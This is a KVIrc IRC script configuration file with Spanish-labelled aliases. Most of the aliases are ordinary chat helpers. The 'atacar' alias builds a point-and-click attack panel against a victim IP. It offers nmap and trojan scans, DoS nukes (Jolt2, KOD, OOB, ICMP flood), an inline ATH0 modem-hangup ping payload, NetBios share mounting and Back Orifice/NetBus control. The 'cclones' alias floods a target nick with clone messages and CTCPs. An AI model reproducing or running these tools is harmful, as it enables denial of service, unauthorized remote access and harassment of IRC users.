KVirc binary configuration file
Please do not edit!
[ALIAS atacar bytes 7097]
#widget
if ("$1"!="") %vic=$1
else %vic=%Victima

if ("$2"!="") %nickva="\("$2"\)"
else %nickva=

%ataca = $new(widget,$root,ataca)
%ataca->$setCaption(Ataques... %nickva)
#%ataca->$setGeometry(10,10,1,1)

obj_setevent(%ataca, OnClose){
#	%Victima=$this->%vic->$text()
	config a nmapp $this->%nmapp->$text()
#	%XX=$this->$x()
#	%YY=$this->$y()
 	}
%ataca->$show()
#layout
%l = $new(layout,%ataca,layout_l)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

#victima
%label = $new(label,%ataca,name_label,<b>Host IP \(Victima\)\:)
%l->$addMulticell(%label,2,2,0,10)
%label->$show()
# edit
%ataca->%vic = $new(lineedit,%ataca,le_victima,%vic)
%l->$addMultiCell(%ataca->%vic,2,2,10,28)
%ataca->%vic->$show()

#linea h
%linea1 = $new(label,%ataca,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,3,3,0,30)
%linea1->$show()

#etiqueta
%label = $new(label,%ataca,name_label,<b><u>Scans:)
%l->$addMulticell(%label,3,3,0,3)
%label->$show()

# Nmap scan boton
%b_nmap1 = $new(button,%ataca,b_nmap1,Nmap)
obj_setevent(%b_nmap1,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""___Nmap_Scan" -geometry 78x23 -e $KVIrcDir/misc/scan nmap %id->%vic->$text() %id->%nmapp->$text()
else echo -i=2 $K\0,4 Victima No ingresada...;
}
%l->$addMultiCell(%b_nmap1,4,4,2,6)
%b_nmap1->$show()

#nmap parametros
%label = $new(label,%ataca,name_label,Opciones:)
%l->$addMulticell(%label,4,4,8,12)
%label->$show()
#edit
%ataca->%nmapp = $new(lineedit,%ataca,le_nmapo,$config(a,nmapp))
%l->$addMultiCell(%ataca->%nmapp,4,4,13,22)
%ataca->%nmapp->$show()

# NB & BO boton
%b_nbbo = $new(button,%ataca,b_nbbo,BO y NB)
obj_setevent(%b_nbbo,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__Scan_Trojans" -geometry 78x23 -e $KVIrcDir/misc/scantrojan nmap %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_nbbo,4,4,24,28)
%b_nbbo->$show()

#linea h
%linea1 = $new(label,%ataca,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,5,5,0,30)
%linea1->$show()

#etiqueta
%label = $new(label,%ataca,name_label,<b><u>Nukes:)
%l->$addMulticell(%label,5,5,0,3)
%label->$show()


# jolt 2 boton
%b_jolt2 = $new(button,%ataca,b_jolt2,Jolt2)
obj_setevent(%b_jolt2,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__JOLT2__Atacando...Cierre_Para_Detener..." -e $KVIrcDir/misc/jolt2 %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_jolt2,6,6,2,6)
%b_jolt2->$show()

# kod boton
%b_kod = $new(button,%ataca,b_kod,Kod)
obj_setevent(%b_kod,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__IGMP__KOD" -e $KVIrcDir/misc/kod %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_kod,6,6,8,11)
%b_kod->$show()


# ath0 boton
%b_ath0 = $new(button,%ataca,b_ath0,ATH0)
obj_setevent(%b_ath0,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__ATH0_Bug" -e /bin/ping -c 2 -p 2b2b2b415453323d32353526574f310d %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_ath0,6,6,13,17)
%b_ath0->$show()

# OOB boton
%b_oob = $new(button,%ataca,b_oob,OOB)
obj_setevent(%b_oob,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__OOB_Nuke" -e $KVIrcDir/misc/stop $KVIrcDir/misc/oob %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_oob,6,6,19,23)
%b_oob->$show()

# puke boton
%b_puke = $new(button,%ataca,b_puke,Puke \(ICMP\))
obj_setevent(%b_puke,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") puke %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_puke,6,6,25,30)
%b_puke->$show()

#linea h
%linea1 = $new(label,%ataca,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,7,7,0,30)
%linea1->$show()

#etiqueta acceso remoto
%label = $new(label,%ataca,name_label,<b><u>Acceso Remoto:)
%l->$addMulticell(%label,7,7,0,7)
%label->$show()

# Recursos Netbios boton
%b_netbios = $new(button,%ataca,b_netbios,Recursos NetBios)
obj_setevent(%b_netbios,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__Recursos_NetBios___Intentando_Montar" -e $KVIrcDir/misc/share $KVIrcDir/montados %id->%vic->$text() $KVIrcDir/misc/bwnm
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_netbios,8,8,2,10)
%b_netbios->$show()

# Recursos Netbios  Desmontar boton
%b_netbios_d = $new(button,%ataca,b_netbios_d,Desmontar NetBios)
obj_setevent(%b_netbios_d,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__Recursos_NetBios___Desmontando" -e $KVIrcDir/misc/stop $KVIrcDir/misc/wnum
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_netbios_d,8,8,11,19)
%b_netbios_d->$show()

# Browser Netbios boton
%b_netbios_b = $new(button,%ataca,b_netbios_b,Browser NetBios)
obj_setevent(%b_netbios_b,OnClick) {
dirbrowser $KVIrcDir/montados
}
%l->$addMultiCell(%b_netbios_b,8,8,20,29)
%b_netbios_b->$show()

# Back Orifice
%b_bo = $new(button,%ataca,b_bo,Back Orifice)
obj_setevent(%b_bo,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__BO" -e $KVIrcDir/misc/bounix2 if %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_bo,9,9,2,8)
%b_bo->$show()

# Gspot
%b_gspot = $new(button,%ataca,b_gspot,BO Interface)
obj_setevent(%b_gspot,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run $KVIrcDir/misc/gspot/gspot
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_gspot,9,9,9,15)
%b_gspot->$show()

# NetBus
%b_nb = $new(button,%ataca,b_nu,Net Bus)
obj_setevent(%b_nb,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__NetBus__Tipea__Connect_"%id->%vic->$text() -e $KVIrcDir/misc/nil 
else echo -i=2 $K\0,4 Victima No ingresada...
}
%l->$addMultiCell(%b_nb,9,9,16,20)
%b_nb->$show()

# telnet
%b_telnet = $new(button,%ataca,b_telnet,Telnet)
obj_setevent(%b_telnet,OnClick) {
%id=$this->$parent()

if ("%id->%vic->$text()"!="") run %Consola -T "IP:%id->%vic->$text()""__Telnet" -e $KVIrcDir/misc/stop telnet %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...;
}
%l->$addMultiCell(%b_telnet,9,9,21,25)
%b_telnet->$show()

# Ftp
%b_ftp = $new(button,%ataca,b_ftp,Ftp)
obj_setevent(%b_ftp,OnClick) {
%id=$this->$parent()
if ("%id->%vic->$text()"!="") run %Consola -T "IP:%%id->%vic->$text()""__FTP" -e ftp %id->%vic->$text()
else echo -i=2 $K\0,4 Victima No ingresada...;
}
%l->$addMultiCell(%b_ftp,9,9,26,29)
%b_ftp->$show()

timer -s (ataca,100,%ataca) {
	%ataca=$timermagic
	if (%ataca->$x > 300) {
		%ataca->$setGeometry(300,$calc(%ataca->$y+25),1,1)
	}
}





[ENDALIAS]
[ALIAS away bytes 113]
if ($IsConnected && %Away!=1) {
	if ("$1-"!="") raw -s away ":"$1-
	else raw -s away ":"$config(a,awaymsg)
	}




[ENDALIAS]
[ALIAS back bytes 44]
if ($IsConnected && %Away) {
raw -s away
}


[ENDALIAS]
[ALIAS builtin_nick_popup bytes 850]
{
     %p = $root->$findChild(builtin_nick_popup)
     if("%p" != "0")%p->$clear()
     else %p = $new(popupmenu,$root,builtin_nick_popup)
     %p->%nick = $1
     %p->%window = $window
     %p->%idCopy = %p->$insertItem(Copiar el Nick $1,$icon(internal))
     %p->%idQuery = %p->$insertItem(Query $1,$icon(query))
     %p->%idseparator= %p->$insertSeparator()
     %p->%idWhois = %p->$insertItem(Whois $1,$icon(whois))
     %p->%idKill  = %p->$insertItem(U-central $1,$icon(info))
     obj_setevent(%p,OnItemClicked){
         switch($1){
             case($this->%idQuery) query $this->%nick
             case($this->%idCopy) window $this->%window commandline $Commandline($this->%window)$this->%nick": "
             case($this->%idWhois) whois $this->%nick
             case($this->%idKill) ucentral $this->%nick
         }
     }
 %p->$popup()
}
[ENDALIAS]
[ALIAS c bytes 5]
clear
[ENDALIAS]
[ALIAS cartel bytes 290]
#window *cartel open;
#window *cartel background $KVIrcDir/pics/logo.png;
#window *cartel caption iNGENI{} ScripT $config(a,sver);
#window *cartel input off;
#window *cartel list off;
#window *cartel move 80,80;
#window *cartel resize 630,135;
#timer -s (spawn,2500) window *cartel close;


[ENDALIAS]
[ALIAS castigo bytes 244]
# $1 = castigo (ej: 0=deop, 1=kick, 2=kick & ban )
# $2 = canal
# $3 nick

switch($1){
	#deop
    case(0): {
			deop $2 $3
			}
	#kick
    case(1): {
			kick $2 $3
			}
	#kick & ban	
    case(2): {
			kick $2 $3
			ban $2 $Mask(9,$3)
			}
    }
[ENDALIAS]
[ALIAS cclones bytes 12339]
%cclones = $new(widget,$root,cclones)
%cclones->$setCaption(Consola de Clones)
%cclones->$setGeometry(0,20,1,1)

%cclones->$show()

#layout
%l = $new(layout,%cclones,layout_l_cclones)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

#SERVIDOR
%label = $new(label,%cclones,name_label,<b>Servidor:</b>)
%l->$addMulticell(%label,2,2,0,5)
%label->$show()
# edit
%cclones->%servidor = $new(lineedit,%cclones,le_servidor,$serverip)
%l->$addMultiCell(%cclones->%servidor,2,2,6,80)
%cclones->%servidor->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Puerto:)
%l->$addMulticell(%label,2,2,81,83)
%label->$show()
# edit
%cclones->%sport = $new(lineedit,%cclones,le_sport,$serverport)
%l->$addMultiCell(%cclones->%sport,2,2,84,102)
%cclones->%sport->$setqtproperty(alignment,AlignRight)
%cclones->%sport->$show()


#etiqueta
%label = $new(label,%cclones,name_label,Nicks de los Clones:)
%l->$addMulticell(%label,3,3,0,15)
%label->$show()

# edit
%cclones->%nick = $new(lineedit,%cclones,le_nick,$config(a,clones_nick))
%l->$addMultiCell(%cclones->%nick,3,3,16,60)
%cclones->%nick->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Nro. de Clones:)
%l->$addMulticell(%label,3,3,70,76)
%label->$show()

# edit
%cclones->%nclones = $new(lineedit,%cclones,le_nclones,$config(a,clones_nclones))
%l->$addMultiCell(%cclones->%nclones,3,3,77,82)
%cclones->%nclones->$setqtproperty(alignment,AlignRight)
%cclones->%nclones->$show()

#etiqueta
%label = $new(label,%cclones,name_label,<b>Nick Victima:)
%l->$addMulticell(%label,4,4,0,10)
%label->$show()

# edit
%cclones->%nvictima = $new(lineedit,%cclones,le_nvictima,$config(a,clones_nvictima))
%l->$addMultiCell(%cclones->%nvictima,4,4,11,45)
%cclones->%nvictima->$show()



# Conectar Clones
%cclones->%conectar = $new(button,%cclones,b_conectar,Conectar Clones\!)
obj_setevent(%cclones->%conectar,OnClick) {
%id=$this->$parent()

%id->%continua=1

if(%id->%adesconecta->$ischecked() && %id->%cb_cuando->$qtproperty(currentItem)!=3){

	fclone %id primero
	}
else {
	foreach(%tmp,$range(1,%id->%nclones->$text())) {
		fclone %id primero
		}
	}


}
%l->$addMultiCell(%cclones->%conectar,4,4,50,79)
%cclones->%conectar->$show()

# para Conectar Clones
%cclones->%pconectar = $new(button,%cclones,b_pconectar,Detener)
obj_setevent(%cclones->%pconectar,OnClick) {
%id=$this->$parent()
%id->%continua=0;
}
%l->$addMultiCell(%cclones->%pconectar,4,4,80,102)
%cclones->%pconectar->$show()

#linea h
%linea1 = $new(label,%cclones,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,5,5,0,102)
%linea1->$show()

#etiqueta
%label = $new(label,%cclones,name_label,<b> Acciones Automaticas</b>)
%l->$addMulticell(%label,5,5,36,72)
%label->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Ejecutar Acciones Cuando:)
%l->$addMulticell(%label,6,6,0,30)
%label->$show()

#cuando
%cclones->%cb_cuando = $new(combobox,%cclones);
%cclones->%cb_cuando->$insertItem("Se Loguea");
%cclones->%cb_cuando->$insertItem("Luego del Envio del Nick");
%cclones->%cb_cuando->$insertItem("Recibe el Primer Ping");
%cclones->%cb_cuando->$insertItem("NO Ejecutar Estas Acciones");

# now after user makes a choice you can obtain it like this:
%l->$addMulticell(%cclones->%cb_cuando,6,6,31,75)				
%cclones->%cb_cuando->$setqtproperty(currentItem,$config(a,clones_cb_cuando)))
%cclones->%cb_cuando->$show()



#checkbox entrar a canal auto enable-disabled
%cclones->%ecanal = $new(checkbox,%cclones,)
%l->$addMulticell(%cclones->%ecanal,7,7,1,2)
%cclones->%ecanal->$setChecked($config(a,clones_ecanal))
%cclones->%ecanal->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Ingresar al Canal:)
%l->$addMulticell(%label,7,7,4,20)
%label->$show()

# edit
%cclones->%acanal = $new(lineedit,%cclones,le_acanal,$config(a,clones_acanal))
%l->$addMultiCell(%cclones->%acanal,7,7,25,75)
%cclones->%acanal->$show()

#checkbox privado enable-disabled
%cclones->%aprivado = $new(checkbox,%cclones,)
%l->$addMulticell(%cclones->%aprivado,8,8,1,2)
%cclones->%aprivado->$setChecked($config(a,clones_aprivado))
%cclones->%aprivado->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Enviar Privado con el Texto:)
%l->$addMulticell(%label,8,8,4,40)
%label->$show()

# edit
%cclones->%aptexto = $new(lineedit,%cclones,le_aptexto,$config(a,clones_aptexto))
%l->$addMultiCell(%cclones->%aptexto,8,8,41,102)
%cclones->%aptexto->$show()

#checkbox ctcp auto enable-disabled
%cclones->%actcp = $new(checkbox,%cclones,)
%l->$addMulticell(%cclones->%actcp,9,9,1,2)
%cclones->%actcp->$setChecked($config(a,clones_actcp))
%cclones->%actcp->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Enviar Ctcp:)
%l->$addMulticell(%label,9,9,4,15)
%label->$show()

#ctcp tipo
%cclones->%cb_ctcptipo = $new(combobox,%cclones);
%cclones->%cb_ctcptipo->$insertItem("PING");
%cclones->%cb_ctcptipo->$insertItem("VERSION");

# now after user makes a choice you can obtain it like this:
%l->$addMulticell(%cclones->%cb_ctcptipo,9,9,16,45)				
%cclones->%cb_ctcptipo->$setqtproperty(currentItem,$config(a,clones_cb_ctcptipo))
%cclones->%cb_ctcptipo->$show()

#checkbox desconecta al enviar auto enable-disabled
%cclones->%adesconecta = $new(checkbox,%cclones,)
%l->$addMulticell(%cclones->%adesconecta,10,10,1,2)
%cclones->%adesconecta->$setChecked($config(a,clones_adesconecta))
%cclones->%adesconecta->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Desconectar el Clon Luego de las Acciones Automaticas)
%l->$addMulticell(%label,10,10,4,85)
%label->$show()

#linea h
%linea1 = $new(label,%cclones,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,11,11,0,102)
%linea1->$show()

#etiqueta
%label = $new(label,%cclones,name_label,<b> Acciones Manuales</b>)
%l->$addMulticell(%label,11,11,37,71)
%label->$show()


# entrar canal
%cclones->%entracanal = $new(button,%cclones,b_entracanal,Entra)
obj_setevent(%cclones->%entracanal,OnClick) {
%id=$this->$parent()
foreach(%tmp,%id->%idclones) {
	%tmp->$write("join %id->%mcanal->$text()$cr$lf")
	}
}
%l->$addMultiCell(%cclones->%entracanal,12,12,0,5)
%cclones->%entracanal->$show()

# salir canal
%cclones->%salecanal = $new(button,%cclones,b_salecanal,Sale)
obj_setevent(%cclones->%salecanal,OnClick) {
%id=$this->$parent()
foreach(%tmp,%id->%idclones) {
	%tmp->$write("part %id->%mcanal->$text()$cr$lf")		
	}
}
%l->$addMultiCell(%cclones->%salecanal,12,12,6,11)
%cclones->%salecanal->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Del Canal:)
%l->$addMulticell(%label,12,12,12,30)
%label->$show()

# edit
%cclones->%mcanal = $new(lineedit,%cclones,le_mcanal,$config(a,clones_mcanal))
%l->$addMultiCell(%cclones->%mcanal,12,12,31,73)
%cclones->%mcanal->$show()

#quit
%cclones->%quit = $new(button,%cclones,b_quit,Matar Clones)
obj_setevent(%cclones->%quit,OnClick) {
%id=$this->$parent()

foreach(%tmp,%id->%idclones) {
	destroy %tmp
	%id->%idclones=$strReplace(%id->%idclones,","%tmp",",",")
	}
%id->%idclones=","
}
%l->$addMultiCell(%cclones->%quit,12,12,75,102)
%cclones->%quit->$show()


# Privado
%cclones->%privado = $new(button,%cclones,b_privado,Privado)
obj_setevent(%cclones->%privado,OnClick) {
	%id=$this->$parent()
	timer (clonesp%Num,%id->%pcada->$text(),%id$char(255)%id->%nvictima->$text()" :""%id->%ptexto->$text()") {
		%csepara=$StrFind($char(255),$timermagic)
		%idt=$strLeft(%csepara,$timermagic)
		%magic=$StrReplace($timermagic,%idt$char(255),"")
		foreach(%tmp,%idt->%idclones) {
			%tmp->$write("privmsg %magic $cr$lf")  
		}
	}
%Num++;
if (%Num>90000) %Num=1;

}
%l->$addMultiCell(%cclones->%privado,13,13,0,11)
%cclones->%privado->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Cada \(MSeg\):)
%l->$addMulticell(%label,13,13,12,34)
%label->$show()

# edit
%cclones->%pcada = $new(lineedit,%cclones,le_pcada,$config(a,clones_pcada))
%l->$addMultiCell(%cclones->%pcada,13,13,35,50)
%cclones->%pcada->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Texto:)
%l->$addMulticell(%label,13,13,51,62)
%label->$show()

# edit
%cclones->%ptexto= $new(lineedit,%cclones,le_ptexto,$config(a,clones_ptexto))
%l->$addMultiCell(%cclones->%ptexto,13,13,63,80)
%cclones->%ptexto->$show()

# parar Privado
%cclones->%pararprivado = $new(button,%cclones,b_pararprivado,Parar)
obj_setevent(%cclones->%pararprivado,OnClick) {
%id=$this->$parent()
killtimer -q clonesp"*"
}
%l->$addMultiCell(%cclones->%pararprivado,13,13,81,102)
%cclones->%pararprivado->$show()

# CTCP
%cclones->%ctcp = $new(button,%cclones,b_ctcp,Ctcp)
obj_setevent(%cclones->%ctcp,OnClick) {
	%id=$this->$parent()
	timer (clonesctcp%Num,%id->%ccada->$text(),%id$char(255)%id->%cb_ctcptipom->$qtproperty(currentItem)$char(253)%id->%nvictima->$text()) {
		%csepara=$StrFind($char(255),$timermagic)
		%idt=$strLeft(%csepara,$timermagic)
		%magic=$StrReplace($timermagic,%idt$char(255),"")
		%idt2=$strLeft(1,%magic)
		%magic2=$StrReplace(%magic,%idt2$char(253),"")
		if (%idt2==0) %tipoctcp="PING"
		if (%idt2==1) %tipoctcp="VERSION"
		foreach(%tmp,%idt->%idclones) {
			%tmp->$write("privmsg %magic2 :$char(001)%tipoctcp$char(001)$cr$lf")
		}
	}
%Num++;
if (%Num>90000) %Num=1;
}
%l->$addMultiCell(%cclones->%ctcp,14,14,0,11)
%cclones->%ctcp->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Cada \(MSeg\):)
%l->$addMulticell(%label,14,14,12,34)
%label->$show()

# edit
%cclones->%ccada = $new(lineedit,%cclones,le_ccada,$config(a,clones_ccada))
%l->$addMultiCell(%cclones->%ccada,14,14,35,50)
%cclones->%ccada->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Tipo:)
%l->$addMulticell(%label,14,14,51,62)
%label->$show()

#ctcp tipo
%cclones->%cb_ctcptipom = $new(combobox,%cclones);
%cclones->%cb_ctcptipom->$insertItem("PING");
%cclones->%cb_ctcptipom->$insertItem("VERSION");
%l->$addMulticell(%cclones->%cb_ctcptipom,14,14,63,80)				
%cclones->%cb_ctcptipom->$setqtproperty(currentItem,$config(a,clones_cb_ctcptipom))
%cclones->%cb_ctcptipom->$show()

# parar ctcp
%cclones->%pararctcp = $new(button,%cclones,b_pararctcp,Parar)
obj_setevent(%cclones->%pararctcp,OnClick) {
%id=$this->$parent()
killtimer -q clonesctcp"*"

}
%l->$addMultiCell(%cclones->%pararctcp,14,14,81,102)
%cclones->%pararctcp->$show()

#etiqueta
%label = $new(label,%cclones,name_label,Log:)
%l->$addMulticell(%label,15,15,0,2)
%label->$show()

# multilineedit
%cclones->%log = $new(multilineedit,%cclones,log,)
%l->$addMultiCell(%cclones->%log,15,45,3,100)
%cclones->%log->$show()
#%cclones->%log->$listqtproperties()
#%cclones->%log->$setqtproperty(edited,0)
%cclones->%log->$settext("Listo.")
#Id clones
%cclones->%idclones=","

# Borra Log
%cclones->%borralog = $new(button,%cclones,b_borralog,Borrar Log)
obj_setevent(%cclones->%borralog,OnClick) {
%id=$this->$parent()
%id->%log->$settext("Listo.")
}
%l->$addMultiCell(%cclones->%borralog,46,46,3,20)
%cclones->%borralog->$show()



obj_setevent(%cclones, OnClose){
	#consola de clones guarda valores
	#  echo nick de los clones
	config a clones_nick $this->%nick->$text()
	#  echo numero de clones
	config a clones_nclones $this->%nclones->$text()
	#  echo nick de la victima
	config a clones_nvictima $this->%nvictima->$text()
	#  echo cuando
	config a clones_cb_cuando $this->%cb_cuando->$qtproperty(currentItem)
	#  echo entra canal sn
	config a clones_ecanal $this->%ecanal->$isChecked()
	#  echo canal que auto entra
	config a clones_acanal $this->%acanal->$text()
	#  echo privado sn
	config a clones_aprivado $this->%aprivado->$isChecked()
	#  echo texto que manda
	config a clones_aptexto $this->%aptexto->$text()
	#  echo ctcp sn
	config a clones_actcp $this->%actcp->$isChecked()
	#  echo ctcp tipo
	config a clones_cb_ctcptipo $this->%cb_ctcptipo->$qtproperty(currentItem)
	#  echo desconecta al enviar
	config a clones_adesconecta $this->%adesconecta->$isChecked()
	#  echo manual entra a canal
	config a clones_mcanal $this->%mcanal->$text()
	#  echo manual privado cada
	config a clones_pcada $this->%pcada->$text()
	#  echo manual privado texto
	config a clones_ptexto $this->%ptexto->$text()
	#  echo manual ctcp cada
	config a clones_ccada $this->%ccada->$text()
	#  echo manual ctcp tipo
	config a clones_cb_ctcptipom $this->%cb_ctcptipom->$qtproperty(currentItem)

foreach(%tmp,$this->%idclones) {
	destroy %tmp
	$this->%idclones=$strReplace($this->%idclones,","%tmp",",",")
	}
}


[ENDALIAS]
[ALIAS clonscan bytes 635]
%todo=$AllOnChan($1);
%pri=$strLeftToLast(",",%todo);
%Hayc=1;
foreach(%quieto,%pri) {
   %seg=$strRightFromFirst("%quieto"",",%todo);
   foreach(%corre,%seg) {
       if ("$hostname(%quieto)"=="$hostname(%corre)" && "$hostname(%corre)"!="$hostname($MyNick)") {
                echo -w=@console $K\9,6 Encontre un clon de $B %quieto $B\ : $B %corre $B\($hostname(%corre)) ...;
                ruido clones_found.wav;
                %todo=$strReplace(%todo,%corre,"");
                %Hayc=0;         
              }
       }
   }
if (%Hayc & %Cschannel) echo -w=@console $K\9,6  No Encontre Clones en $1 ...;

%Cschannel=0;
%Hayc=1;
[ENDALIAS]
[ALIAS clonscan2 bytes 395]
#$1 chan $2 Nick

if ($StrFind("$1","%Mirandocanales")==-1) {

	foreach(%eclon,$allOnChan($1)) {
      	 if ("$hostname(%eclon)"=="$hostname($2)" && "$hostname(%eclon)"!="$hostname($MyNick)" && "%eclon"!="$2") {
      	        echo -w=@console $K\9,6  Encontre que$B $2 $B\es clon de$B %eclon $B\($hostname(%eclon)) ...;
      	        ruido clones_found.wav;         
      	        }   
	}  
}
[ENDALIAS]
[ALIAS conf_canales bytes 17713]
#widget
%vent=%Id_conf
%vent->$setCaption(Configuracion del Script \(Canales\))
%vent->$setMinimumWidth(1)
%vent->$setMinimumHeight(200)
%vent->$setGeometry(%vent->$x(),%vent->$y(),1,400)

obj_setevent(%vent, OnClose){ 
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	%Id_conf=
 	} 
%vent->$show()

#layout
%l = $new(layout,%vent,layout_l)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

# b1
%b_general = $new(button,%vent,b_general,General)
%b_general->$setMinimumWidth(150)
obj_setevent(%b_general,OnClick) {
	tempconf g_canales
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_general
		}
	}
%l->$addMultiCell(%b_general,0,0,1,10)
%b_general->$show()

# b2
%b_sonido = $new(button,%vent,b_sonido,Sonido)
%b_sonido->$setMinimumWidth(150)
obj_setevent(%b_sonido,OnClick) {
	tempconf g_canales
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_sonido
		}
	}
%l->$addMultiCell(%b_sonido,0,0,11,20)
%b_sonido->$show()

# b3
%b_canales = $new(button,%vent,b_canales,Canales)
%b_canales->$setMinimumWidth(150)
obj_setevent(%b_canales,OnClick){
	}
%l->$addMultiCell(%b_canales,0,0,21,30)
%b_canales->$show()
%b_canales->$setenabled(0)
# b4
%b_personal = $new(button,%vent,b_personal,Personal)
%b_personal->$setMinimumWidth(150)
obj_setevent(%b_personal,OnClick) {
	tempconf g_canales
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_personal
		}
	}
%l->$addMultiCell(%b_personal,0,0,31,40)
%b_personal->$show()

#linea h
%linea1 = $new(label,%vent,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,1,1,0,40)
%linea1->$show()

#Cambiar a boton antes era actualizar
%b_Actualizar = $new(button,%vent,b_Actualizar_button,Cambiar a)
%b_Actualizar->$setMinimumWidth(100)
obj_setevent(%b_Actualizar,OnClick) {
	tempconf g_canales
	%Id_conf->%canalactual->$setText(%Id_conf->%cb_canal->$currentText())
	tempconf lee_canal
	}
%l->$addMultiCell(%b_Actualizar,2,2,0,7)
%b_Actualizar->$show()

#etiqueta				
%label = $new(label,%vent,name_label,<b>Canal:)
%l->$addMulticell(%label,2,2,8,10)
%label->$show()

#Canal elegido
%vent->%cb_canal = $new(combobox,%vent); 
%vent->%cb_canal->$insertItem("Por Defecto"); 
# now after user makes a choice you can obtain it like this:
%vent->%cb_canal->$setqtproperty(currentItem,0)
%vent->%cb_canal->$setqtproperty(autoResize,1)
%vent->%cb_canal->$setqtproperty(minimumWidth,135)
%l->$addMulticell(%vent->%cb_canal,2,2,11,19)				

#canales nuevos poner codigo aca
foreach(%tmp,$config(b,canales_conf)){
%vent->%cb_canal->$insertItem(%tmp); 
}
#%vent->%cb_canal->$listqtproperties()
%vent->%cb_canal->$show()
#eliminar boton
%b_eliminar = $new(button,%vent,b_eliminar_button,Eliminar)
%b_eliminar->$setMinimumWidth(100)
obj_setevent(%b_eliminar,OnClick) {
if ("%Id_conf->%cb_canal->$qtproperty(currentItem)"!="0") {
	config b canales_conf $strReplace($config(b,canales_conf),","%Id_conf->%cb_canal->$qtproperty(currentText)",",",")
	%elimina=%Id_conf->%cb_canal->$currentText()
	#lo saca del config
	config -r b_cfg_canal_%elimina
	#lo saca de la lista
	%Id_conf->%cb_canal->$removeItem(%Id_conf->%cb_canal->$qtproperty(currentItem))
	if("%elimina"=="%Id_conf->%canalactual->$text()"){
		%Id_conf->%canalactual->$settext(Por Defecto)
		tempconf lee_canal
		%Id_conf->%cb_canal->$setqtproperty(currentItem,0)
		}
	}
}
%l->$addMultiCell(%b_eliminar,2,2,20,26)
%b_eliminar->$show()

#Agregar boton
%b_agregar = $new(button,%vent,b_agregar_button,Agregar)
%b_agregar->$setMinimumWidth(100)
obj_setevent(%b_agregar,OnClick) {
if ("%Id_conf->%editcanal->$text()"!="") {
	if($strFind(","%Id_conf->%editcanal->$text()",",$config(b,canales_conf))==-1){
		%Id_conf->%cb_canal->$insertItem(%Id_conf->%editcanal->$text());
		config b canales_conf "$config(b,canales_conf)%Id_conf->%editcanal->$text(),"
		%actual=%Id_conf->%canalactual->$text()
		%Id_conf->%canalactual->$setText(%Id_conf->%editcanal->$text())
		tempconf g_canales
		%Id_conf->%canalactual->$settext(%actual)
		%Id_conf->%editcanal->$settext()
		}
	}
}
%l->$addMultiCell(%b_agregar,2,2,27,33)
%b_agregar->$show()

#edit canal
